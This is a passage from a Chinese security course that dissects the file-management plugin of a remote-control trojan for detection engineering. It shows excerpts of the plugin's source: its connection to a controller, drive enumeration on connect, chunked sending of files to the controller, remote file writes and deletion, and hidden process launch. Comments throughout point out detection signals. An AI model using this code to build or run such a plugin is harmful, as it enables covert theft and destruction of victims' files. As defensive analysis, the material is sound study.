第 25 课:主插件:文件管理
# 第 25 课:主插件:文件管理
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、文件操作风险识别和企业检测工程。
本课只讲文件管理插件的结构、数据流、风险面和检测思路,不提供未授权文件访问、删除、加密、隐藏执行或数据外传的操作步骤。
第 24 课讲的是系统管理模块,它偏向“看系统里有什么”:进程、窗口、网络连接、服务、计划任务、hosts 等。本课进入另一个更贴近数据安全的模块:主插件\文件管理。
文件管理模块做的事情更直接:列目录、传文件、创建目录、删除文件、重命名、搜索、查看最近访问和网络邻居、压缩,以及若干高风险文件操作。对企业安全来说,这类模块非常敏感,因为它直接触碰终端上的业务数据、配置文件、凭据材料、日志和备份。
本课主线如下:
文件管理插件入口
-> 创建 CTcpSocket / CUdpSocket
-> 连接主控端
-> 创建 CFileManager
-> 构造函数发送磁盘列表
-> OnReceive 按命令分发
-> 调用 Win32 文件系统 API
-> 打包 TOKEN_* 结果回传
-> 企业侧关联进程、路径、文件动作、网络会话和数据风险
2
3
4
5
6
7
8
9
# 1. 本课学习目标
学完本课,你应该能回答这些问题:
| 问题 | 本课回答 |
|---|---|
| 文件管理插件在工程中处于什么位置 | 它是一个独立主插件,通过网络通道接收命令,并由 CFileManager 执行文件相关逻辑 |
为什么 OnReceive 是阅读入口 | 所有文件命令都先进入 CFileManager::OnReceive,再分发到目录、传输、删除、搜索、压缩等函数 |
| 为什么源码里“UploadToRemote”容易误解 | 站在被控端代码视角是“向远端上传”,站在主控界面视角常表现为“下载文件” |
| 文件传输为什么需要偏移量 | 源码用高低 32 位保存文件大小和偏移,支持分块传输和续传模式 |
| 哪些实现是高风险信号 | 删除目录、隐藏打开、压缩、加密/解密、批量搜索、访问最近访问和网络邻居 |
| 企业侧应该检测什么 | 进程、文件 API、敏感路径、分块网络回传、压缩包生成、批量读取和删除行为 |
# 2. 本课涉及源码目录和文件
| 文件 | 作用 |
|---|---|
主插件\文件管理\文件管理.sln | 文件管理插件解决方案 |
主插件\文件管理\文件管理\文件管理.cpp | 插件入口、连接选择、创建 CFileManager |
主插件\文件管理\文件管理\FileManager.h | 命令字、返回 token、传输结构、CFileManager 类声明 |
主插件\文件管理\文件管理\FileManager.cpp | 文件管理核心实现 |
主插件\文件管理\文件管理\MasterEncoder.h/.cpp | 模块内部使用的编码辅助逻辑 |
主插件\文件管理\文件管理\zip.h/.cpp | ZIP 压缩相关辅助实现 |

从结构上看,文件管理.cpp 只负责“把插件跑起来”。真正的文件操作集中在 CFileManager 里。新手阅读时不要从每一个函数散着看,先抓住三个入口:
| 阅读入口 | 你要看什么 |
|---|---|
文件管理.cpp::MainThread | 插件如何创建 socket,如何创建 CFileManager |
CFileManager::CFileManager | 模块初始化了哪些状态,为什么一创建就发送磁盘列表 |
CFileManager::OnReceive | 每个命令字对应哪个文件操作函数 |
# 3. 插件入口:连接后创建 CFileManager
文件管理插件和前面几课讲过的主插件模式一致:定义一份 plugInfo,根据 IsTcp 选择 TCP 或 UDP,连接成功后创建管理器对象并进入事件循环。
// 源码位置:主插件\文件管理\文件管理\文件管理.cpp:7-43
// 防御分析注释:
// 1. 这是文件管理插件入口,只负责读取连接配置、建立 socket、创建 CFileManager。
// 2. plugInfo 保存远端地址、端口、协议类型和入口运行方式,可理解为“插件上线参数”。
// 3. MainThread 连接成功后创建 CFileManager,后续文件命令都交给 CFileManager::OnReceive。
// 4. 企业侧排查时,不能只看进程名,还要看长连接、端口、加载路径和文件 API 行为链。
struct plugInfo
{
char mark[30]; // 配置定位标记,常用于在二进制中寻找配置块。
TCHAR szAddress[255]; // 远端地址;要和进程外联、DNS、代理日志一起关联。
DWORD szPort; // 远端端口;端口本身不代表风险,关键是连接后的文件能力。
BOOL IsTcp; // 通信协议选择;同一文件能力可以跑在 TCP 或 UDP 通道上。
BOOL RunDllEntryProc; // DLL 入口运行模式标志;影响插件退出时是否结束进程。
} MyInfo = { "plugmark", _T("127.0.0.1"), 6666, 1, 0 };
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
// 触发点 1:根据配置创建通信对象。
// 防御侧不要只依赖固定协议识别文件管理行为。
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
// 触发点 2:连接成功后创建 CFileManager。
// CFileManager 构造函数会主动发送磁盘列表,所以文件枚举可能紧跟连接出现。
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CFileManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
这段代码的重点不是“怎么连接”,而是插件边界:一旦 CFileManager 被创建,模块就进入文件管理状态。它不只是被动等待命令,构造函数里还会立即发送磁盘列表。
# 4. 命令面总览:先看能做什么

FileManager.h 里定义了大量命令和 token。它们可以分成五类:
| 分类 | 代表命令 | 防御视角 |
|---|---|---|
| 目录浏览 | COMMAND_LIST_FILES、TOKEN_FILE_LIST | 关注敏感目录枚举、短时间内多目录遍历 |
| 文件传输 | COMMAND_DOWN_FILES、COMMAND_FILE_SIZE、COMMAND_FILE_DATA、COMMAND_CONTINUE | 关注大文件读取、分块回传、异常网络长连接 |
| 文件修改 | 删除、创建、重命名、复制、粘贴 | 关注破坏性操作、批量改名、覆盖写入 |
| 搜索与特殊目录 | 搜索、Recent、NetHood、快捷方式解析 | 关注数据发现行为和业务路径探测 |
| 压缩与高风险操作 | 压缩、加密、解密、隐藏打开 | 关注压缩包、异常加密行为和隐藏进程 |
// 源码位置:主插件\文件管理\文件管理\FileManager.h:12-85
// 防御分析注释:
// 1. 这些枚举值是文件管理模块的“命令面”,也是阅读 OnReceive 的地图。
// 2. COMMAND_* 多数来自主控端请求;TOKEN_* 多数是插件回传状态或数据。
// 3. 同一个文件动作可能被拆成多个命令,例如文件传输会经历大小查询、继续请求、数据回传。
// 4. 删除、加密、压缩、隐藏打开等命令属于高风险行为,应作为检测重点。
enum
{
// ===== 目录浏览:读取路径、枚举文件和目录 =====
COMMAND_LIST_FILES,
// ===== 破坏性文件动作:删除文件或目录 =====
COMMAND_DELETE_FILE,
COMMAND_DELETE_DIRECTORY,
// ===== 文件读取/回传:从被控端视角是上传到远端,从主控界面看常叫下载 =====
COMMAND_DOWN_FILES,
COMMAND_CONTINUE,
// ===== 文件系统变更:创建目录、重命名、停止任务、设置传输模式 =====
COMMAND_CREATE_FOLDER,
COMMAND_RENAME_FILE,
COMMAND_STOP,
COMMAND_SET_TRANSFER_MODE,
// ===== 文件写入:远端先发送文件大小,再分块发送文件数据 =====
COMMAND_FILE_SIZE,
COMMAND_FILE_DATA,
// ===== 打开文件:显示打开或隐藏打开,隐藏打开风险更高 =====
COMMAND_OPEN_FILE_SHOW,
COMMAND_OPEN_FILE_HIDE,
// ===== 压缩、搜索、特殊目录和扩展动作 =====
COMMAND_COMPRESS_FILE_PARAM,
COMMAND_FILES_SEARCH_STOP,
COMMAND_SEARCH_FILE,
COMMAND_FILE_GETNETHOOD,
COMMAND_FILE_RECENT,
COMMAND_FILE_INFO,
COMMAND_FILE_Encryption,
COMMAND_FILE_Decrypt,
COMMAND_FILE_CopyFile,
COMMAND_FILE_PasteFile,
COMMAND_FILE_zip,
COMMAND_FILE_zip_stop,
// ===== 回包 token:告诉主控端当前返回的是列表、数据、状态还是完成信号 =====
TOKEN_SEARCH_FILE_LIST,
TOKEN_SEARCH_FILE_FINISH,
TOKEN_FILE_LIST,
TOKEN_FILE_SIZE,
TOKEN_FILE_DATA,
TOKEN_TRANSFER_FINISH,
TOKEN_GET_TRANSFER_MODE,
TOKEN_CREATEFOLDER_FINISH,
TOKEN_RENAME_FINISH,
TOKEN_COMPRESS_FINISH,
TOKEN_DELETE_FINISH,
TOKEN_DATA_CONTINUE,
TOKEN_FILE_GETNETHOOD,
TOKEN_FILE_RECENT,
TOKEN_FILE_INFO,
TOKEN_FILE_REFRESH,
TOKEN_FILE_ZIPOK,
TRANSFER_MODE_CANCEL = 100,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
这里要建立一个阅读习惯:看到一个 COMMAND_*,就去 OnReceive 里找它被分发到哪里;看到一个 TOKEN_*,就去找哪个函数调用了 Send 或 SendToken。
# 5. 关键结构:FILESIZE、FILESEARCH 和 CFileManager 状态
文件传输和搜索不是一次性完成的,所以模块内部要保存状态。FILESIZE 用来描述文件大小和错误状态,FILESEARCH 用来描述搜索参数,CFileManager 保存当前文件句柄、传输模式和任务队列。
// 源码位置:主插件\文件管理\文件管理\FileManager.h:93-106
// 防御分析注释:
// 1. FILESIZE 把 64 位文件长度拆成高低两个 DWORD,适配老式 Win32 代码风格。
// 2. 同一结构也被用作续传偏移,因此它不仅表示“文件总大小”,也可能表示“读写位置”。
// 3. error 字段表示打开文件是否成功,失败访问同样有检测价值,尤其是敏感路径探测。
// 4. FILESEARCH 表示搜索关键词、搜索起点和是否递归子目录,是判断数据发现意图的关键输入。
typedef struct
{
DWORD dwSizeHigh; // 文件大小或偏移量的高 32 位。
DWORD dwSizeLow; // 文件大小或偏移量的低 32 位。
BOOL error; // 打开/读取状态;失败不等于无风险,可能是权限探测。
} FILESIZE;
typedef struct
{
TCHAR SearchFileName[MAX_PATH]; // 搜索关键词或文件名片段,可能暴露数据发现目标。
TCHAR SearchPath[MAX_PATH]; // 搜索起点,建议在合法工具中做路径授权。
BOOL bEnabledSubfolder; // 是否递归子目录;递归搜索会显著扩大数据暴露面。
} FILESEARCH;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 源码位置:主插件\文件管理\文件管理\FileManager.h:147-184
// 防御分析注释:
// 1. m_UploadList 是待传输文件列表,目录传输会递归展开成多个文件。
// 2. m_hFileSend 和 m_hFileRecv 分别保存读文件和写文件句柄,代表本模块同时具备读取和写入能力。
// 3. m_nTransferMode 控制覆盖、续传、跳过等模式,直接影响远端文件写入结果。
// 4. 这些状态都由网络命令驱动变化,审计时要记录命令、路径、偏移、大小和结果 token。
class CFileManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
UINT SendDriveList();
CFileManager(ISocketBase* pClient);
virtual ~CFileManager();
private:
LPBYTE lpSendPacket; // 发送缓冲区,TOKEN_FILE_DATA 等数据包会写入这里。
list <wstring> m_UploadList; // 待读取并回传的文件队列;目录会被展开为多个文件。
BOOL m_bIsWow64; // 当前进程是否运行在 WoW64 下,影响 system32/sysnative 访问。
UINT m_nTransferMode; // 写入冲突处理方式:覆盖、续传、跳过等。
HANDLE m_hFileSend; // 读取本地文件时使用的句柄。
HANDLE m_hFileRecv; // 接收远端数据并写入本地文件时使用的句柄。
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在传输或写入的文件路径。
__int64 m_nCurrentProcessFileLength; // 当前文件长度,用于进度和完成判断。
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer(BOOL bIsUpload);
UINT SendFilesList(TCHAR* lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
void SendFileData(LPBYTE lpBuffer);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
对新手来说,这些成员变量比函数名更能说明模块行为:它既能读文件,也能写文件;既能处理单文件,也能处理目录递归;既能列表,也能修改。
# 6. 构造函数:为什么一创建就发送磁盘列表
CFileManager 构造函数做了几件事:
- 设置编码辅助逻辑。
- 创建或打开一个以 BotId 命名的桌面对象。
- 分配发送缓冲区。
- 检测当前进程是否处于 WoW64。
- 初始化文件句柄、传输模式、搜索和压缩线程状态。
- 调用
SendDriveList()发送磁盘列表。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:28-57
// 防御分析注释:
// 1. 构造函数是连接成功后的第一个文件管理触发点。
// 2. OpenDesktop/CreateDesktop 和 SetThreadDesktop 会改变线程桌面上下文,便于后续访问用户桌面相关对象。
// 3. IsWow64Process 影响后续文件系统重定向处理,尤其是 32 位进程访问 system32 时。
// 4. SendDriveList 在构造阶段立即发送磁盘信息,说明连接建立后会主动暴露文件系统视图。
CFileManager::CFileManager(ISocketBase* pClient) : CManager(pClient)
{
const char* sign = "master";
// 设置模块内部编码标识。检测时可把固定签名作为弱特征,但不能只依赖它。
MasterEncoder::getInstance()->setSignAndKey((char*)sign, (int)strlen(sign), 100);
memset(g_desktopName, 0, sizeof(g_desktopName));
GetBotId(g_desktopName);
// 根据 BotId 打开或创建桌面对象。
// 这不是普通文件操作,但解释了为什么文件管理插件也会碰到桌面相关 API。
g_hDesk = OpenDesktop(g_desktopName, 0, TRUE, GENERIC_ALL);
if (!g_hDesk)
g_hDesk = CreateDesktop(g_desktopName, NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(g_hDesk);
// 初始化发送缓冲区和传输状态。
lpSendPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
m_bIsWow64 = FALSE;
IsWow64Process(GetCurrentProcess(), &m_bIsWow64);
m_hFileSend = INVALID_HANDLE_VALUE;
m_hFileRecv = INVALID_HANDLE_VALUE;
m_nTransferMode = TRANSFER_MODE_NORMAL;
bIsStopSearch = FALSE;
bIsStopZIP = FALSE;
// 主动发送盘符和桌面路径。
// 防御侧可把“连接后立即盘符枚举”作为文件管理能力的早期信号。
SendDriveList();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
这也解释了企业检测里的一个细节:文件管理插件不一定等到用户点开某个目录才有行为。创建对象时就可能出现磁盘枚举和桌面路径读取。
# 7. 磁盘列表:SendDriveList
SendDriveList 会枚举逻辑驱动器、文件系统类型、磁盘类型、容量和剩余空间,还会尝试获取桌面目录。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:554-624
// 防御分析注释:
// 1. SendDriveList 是构造函数里的主动动作,不需要主控再发送目录浏览命令。
// 2. GetLogicalDriveStrings 是磁盘枚举入口。
// 3. GetVolumeInformation、GetDriveType、GetDiskFreeSpaceEx 用于补充文件系统类型、磁盘类型和容量。
// 4. SHGetFolderPath 读取桌面路径,能帮助主控端快速定位用户文件区域。
// 5. 如果异常进程在连接建立后立即枚举全部盘符,应作为文件管理能力信号。
UINT CFileManager::SendDriveList()
{
TCHAR DriveString[256];
BYTE DriveList[2048];
TCHAR FileSystem[MAX_PATH];
TCHAR* pDrive = NULL;
DriveList[0] = TOKEN_DRIVE_LIST;
// 读取所有逻辑盘符,例如 C:\、D:\、网络映射盘等。
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
// 把桌面路径也放进回包,主控端可以直接展示用户常用文件入口。
// 这类路径属于敏感上下文,合法产品应避免无授权暴露。
SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY, hTokenAcsi,
SHGFP_TYPE_CURRENT, (TCHAR*)&DriveList[2]);
for (DWORD dwOffset = 1 + 1 + (lstrlen((TCHAR*)&DriveList[2]) + 1) * sizeof(TCHAR);
*pDrive != _T('\0');
pDrive += lstrlen(pDrive) + 1)
{
// 逐个盘符采集文件系统类型、容量和剩余空间。
// 容量信息可用于判断是否有大量数据可读取或回传。
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
GetDiskFreeSpaceEx(pDrive,
(PULARGE_INTEGER)&HDFreeSpace,
(PULARGE_INTEGER)&HDAmount,
NULL);
DriveList[dwOffset] = ((BYTE*)(pDrive))[0];
DriveList[dwOffset + 2] = GetDriveType(pDrive);
}
return Send((LPBYTE)DriveList, dwOffset);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
从防御角度看,磁盘列表本身不是破坏行为,但它是数据发现链条的第一步。文件读取、压缩或回传之前,经常先出现盘符、桌面、文档目录和磁盘容量枚举。
# 8. OnReceive:文件管理模块的总分发器
OnReceive 是本课最重要的函数。它读取命令包第一个字节,并进入对应分支。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:75-216
// 防御分析注释:
// 1. lpBuffer[0] 是命令字,决定后续执行哪类文件操作。
// 2. 除了命令字,lpBuffer + 1 往往就是路径、文件名、偏移或参数,属于外部输入。
// 3. Wow64DisableWow64FsRedirection 会影响 32 位进程访问 64 位系统目录时的路径视图。
// 4. 删除、隐藏打开、加密、压缩等分支应被视为高风险分支。
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
// 心跳包不代表文件操作,直接忽略。
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
if (m_bIsWow64)
{
// 动态解析 Wow64DisableWow64FsRedirection。
// 防御侧可关注 32 位进程访问 system32 等路径时是否有重定向绕开行为。
}
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES:
// 目录枚举:lpBuffer + 1 是主控传入的目录路径。
// 防御侧要记录路径是否落在用户文档、共享盘、配置目录等敏感区域。
SendFilesList((TCHAR*)(lpBuffer + 1));
break;
case COMMAND_DELETE_FILE:
// 删除单文件:路径直接来自命令包。
// 合法工具应做路径授权、二次确认和操作留痕。
DeleteFile((TCHAR*)(lpBuffer + 1));
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY:
// 递归删除目录:破坏性更强,尤其是业务目录、备份目录、共享目录。
DeleteDirectory((TCHAR*)(lpBuffer + 1));
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES:
// 从被控端视角:把本地文件发送给远端。
// 从主控界面视角:常表现为“下载远端文件”。
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE:
// 续传/继续读取:lpBuffer + 1 携带 FILESIZE 结构,表示本次读取偏移。
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
// 创建目录:同样需要路径边界和授权控制。
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE:
// 重命名:命令包内通常包含旧路径和新路径,适合记录为文件变更事件。
Rename(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
// 写入文件前置阶段:先接收文件大小和目标路径,再决定覆盖/续传/跳过。
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA:
// 写入文件数据阶段:按偏移把收到的数据写入本地文件。
WriteLocalRecvFile(lpBuffer + 1, nSize - 1);
break;
case COMMAND_OPEN_FILE_HIDE:
// 隐藏打开:会创建新进程但不显示窗口。
// 文件管理动作伴随隐藏进程创建时,应提升告警等级。
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL,
&startupInfo, &processInfo);
break;
case COMMAND_COMPRESS_FILE_PARAM:
// 压缩:外部压缩工具或内置 ZIP 逻辑都可能形成数据打包行为。
ExeCompress(lpBuffer + 1);
break;
case COMMAND_SEARCH_FILE:
// 搜索:FILESEARCH 结构携带关键词、起始目录和是否递归。
SendSearchFilesList((TCHAR*)(lpBuffer + 1));
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
注意这里的 COMMAND_DOWN_FILES:从被控端代码角度看,函数名是 UploadToRemote,表示“把本地文件发给远端”;但从主控界面用户角度看,这常被称为“下载远端文件”。学习源码时要始终先问:这个函数名是站在哪一端命名的?
# 9. 目录列表流程:SendFilesList

SendFilesList 接收一个目录路径,然后拼接 *.*,用 FindFirstFile/FindNextFile 枚举条目,最后打包为 TOKEN_FILE_LIST 发回。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:627-705
// 防御分析注释:
// 1. lpszDirectory 来自网络命令包,代表外部输入路径。
// 2. 函数没有在插件侧做路径白名单,合法产品应在这里加入授权和规范化。
// 3. FindFirstFile/FindNextFile 是目录枚举行为的核心 API。
// 4. 回包包含文件属性、文件名、文件大小和最后写入时间。
// 5. 企业侧可关注敏感目录短时间连续枚举,如用户文档、配置目录和备份目录。
UINT CFileManager::SendFilesList(TCHAR* lpszDirectory)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
TCHAR strPath[MAX_PATH];
WIN32_FIND_DATA FindFileData;
if (lpszDirectory[lstrlen(lpszDirectory) - 1] != '\\')
lpszSlash = _T("\\");
else
lpszSlash = _T("");
// 将目录路径拼接成通配符查询。
// 这里的路径来自远端命令,真实工程应先做 Normalize + AllowList 检查。
wsprintf(strPath, _T("%s%s*.*"), lpszDirectory, lpszSlash);
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE)
{
// 打不开目录时仍返回 TOKEN_FILE_LIST,主控端据此刷新为空列表。
// 检测侧应记录失败路径,连续失败常代表敏感目录探测。
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
}
lpList = (BYTE*)LocalAlloc(LPTR, nBufferSize);
*lpList = TOKEN_FILE_LIST;
do
{
pszFileName = FindFileData.cFileName;
if (_tcscmp(pszFileName, _T(".")) == 0 ||
_tcscmp(pszFileName, _T("..")) == 0)
continue;
// 字段 1:目录标志。主控端用它决定显示文件夹图标还是文件图标。
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
// 字段 2:文件名。这里通常不含完整路径,完整路径由当前目录上下文拼出。
memcpy(lpList + dwOffset, pszFileName, nLen);
// 字段 3:文件大小高低位。目录项也会携带该字段,但目录大小通常无实际意义。
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
// 字段 4:最后写入时间。可用于企业侧还原文件变更时间线。
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
} while (FindNextFile(hFile, &FindFileData));
return Send(lpList, dwOffset);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
这段代码没有做路径白名单,也没有把“哪些目录允许看”放在插件侧控制。合法远程运维产品通常需要角色授权、路径授权、操作留痕和敏感目录保护,而不是只按网络命令执行。
# 10. 文件传输生命周期

源码里的文件读取是分块完成的。大致流程是:
- 主控端发出文件读取命令。
- 被控端打开文件,回传大小和状态。
- 主控端根据偏移继续请求数据。
- 被控端从指定偏移读取一块数据并回传。
- 重复直到文件结束。
- 发送传输结束 token。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:878-899
// 防御分析注释:
// 1. UploadToRemote 是站在被控端视角命名:把本地文件发送到远端。
// 2. 触发命令是 COMMAND_DOWN_FILES,lpBuffer 是要读取的文件或目录路径。
// 3. 如果目标是目录,会调用 FixedUploadList 递归展开文件列表。
// 4. 批量文件读取 + 长连接分块回传,是数据安全检测的重要组合信号。
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
// 以反斜杠结尾时按目录处理。
// 目录读取会递归收集文件,风险面明显大于单文件读取。
if (lpBuffer[lstrlen((TCHAR*)lpBuffer) * sizeof(TCHAR) - sizeof(TCHAR)] == _T('\\'))
{
FixedUploadList((TCHAR*)lpBuffer);
if (m_UploadList.empty())
{
StopTransfer(TRUE);
return true;
}
}
else
{
// 单文件读取:直接加入待传输队列。
m_UploadList.push_back((TCHAR*)lpBuffer);
}
// 先发送第一个文件的大小,后续主控端再按偏移请求数据块。
list <wstring>::iterator it = m_UploadList.begin();
SendFileSize((*it).c_str());
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:764-802
// 防御分析注释:
// 1. SendFileSize 是文件读取链路的第一步,用于告诉主控端文件大小和打开状态。
// 2. CreateFile 以 GENERIC_READ 打开目标文件。
// 3. TOKEN_FILE_SIZE 回传文件大小和打开是否成功。
// 4. 访问失败也有检测价值,尤其是连续探测受保护目录或凭据相关路径。
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
// 保存当前文件名,后续 SendFileData 会继续使用同一个文件句柄和偏移。
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
_tcscpy_s(m_strCurrentProcessFileName, lpszFileName);
// 打开目标文件用于读取。
// FILE_SHARE_READ 允许其他读者同时读取,但不允许写共享,仍可能影响业务程序。
m_hFileSend = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
// 获取 64 位文件大小。dwSizeLow/dwSizeHigh 会写入 FILESIZE。
dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh);
bPacket[0] = TOKEN_FILE_SIZE;
FILESIZE* pFileSize = (FILESIZE*)(bPacket + 1);
pFileSize->dwSizeHigh = dwSizeHigh;
pFileSize->dwSizeLow = dwSizeLow;
pFileSize->error = error;
return Send(bPacket, nPacketSize);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:805-847
// 防御分析注释:
// 1. COMMAND_CONTINUE 携带偏移,SendFileData 从指定偏移继续读。
// 2. TOKEN_FILE_DATA 是实际数据回传包。
// 3. 文件读取 API 与网络发送 API 在同一进程内连续出现时,应做关联分析。
// 4. 这类分块回传可能绕过只看单包大小的网络检测,需要按会话累计。
void CFileManager::SendFileData(LPBYTE lpBuffer)
{
// pFileSize 在这里表示“本次读取起点”,不是文件总大小。
FILESIZE* pFileSize = (FILESIZE*)lpBuffer;
// 按主控端给出的偏移定位文件指针,实现断点续传或分块读取。
SetFilePointer(m_hFileSend,
pFileSize->dwSizeLow,
(long*)&(pFileSize->dwSizeHigh),
FILE_BEGIN);
// 回包首字节标识为文件数据。
lpSendPacket[0] = TOKEN_FILE_DATA;
memcpy(lpSendPacket + 1, pFileSize, sizeof(FILESIZE));
// 从文件中读取一块,大小受 MAX_SEND_BUFFER 限制。
ReadFile(m_hFileSend, lpSendPacket + 9,
MAX_SEND_BUFFER - 9, &nNumberOfBytesRead, NULL);
if (nNumberOfBytesRead > 0)
Send(lpSendPacket, nPacketSize);
else
UploadNext();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 11. 写入文件:CreateLocalRecvFile 与 WriteLocalRecvFile
文件管理不只读取,也支持写入。CreateLocalRecvFile 根据文件大小和路径创建本地接收文件;GetFileData 根据传输模式决定覆盖、续传或跳过;WriteLocalRecvFile 把收到的数据写入本地文件。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:960-1069
// 防御分析注释:
// 1. CreateLocalRecvFile 是远端向本机写文件的前置阶段。
// 2. m_strCurrentProcessFileName 来自命令包,代表写入目标路径。
// 3. MakeSureDirectoryPathExists 会自动创建多级目录,可能扩大落地范围。
// 4. CREATE_ALWAYS、OPEN_EXISTING、续传偏移会影响覆盖与追加行为。
// 5. 企业侧要关注异常进程向启动目录、系统目录、程序目录和用户配置目录写文件。
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
FILESIZE* pFileSize = (FILESIZE*)lpBuffer;
// 命令包布局:前 8 字节是 FILESIZE,后面是目标路径。
// 真实产品应在写入前检查路径授权、扩展名、文件大小和剩余空间。
_tcscpy_s(m_strCurrentProcessFileName, (TCHAR*)(lpBuffer + 8));
m_nCurrentProcessFileLength =
((__int64)pFileSize->dwSizeHigh << 32) + pFileSize->dwSizeLow;
// 自动创建目录会让远端可以投放到尚不存在的路径。
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
// 如果目标文件已存在且没有全局传输策略,就要求主控端选择覆盖/续传/跳过。
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL)
SendToken(TOKEN_GET_TRANSFER_MODE);
else
GetFileData();
}
void CFileManager::GetFileData()
{
// 根据传输模式决定 CreateFile 的打开方式。
// 覆盖会破坏原文件,续传会在原文件基础上追加/定位写入。
if (nTransferMode == TRANSFER_MODE_ADDITION)
dwCreationDisposition = OPEN_EXISTING;
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
dwCreationDisposition = CREATE_ALWAYS;
// 打开目标文件用于写入。
// 这里未体现路径白名单,防御改造时应在 CreateFile 前拦截。
m_hFileRecv = CreateFile(m_strCurrentProcessFileName,
GENERIC_WRITE, 0, NULL,
dwCreationDisposition,
FILE_ATTRIBUTE_NORMAL, 0);
Send(bToken, sizeof(bToken));
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
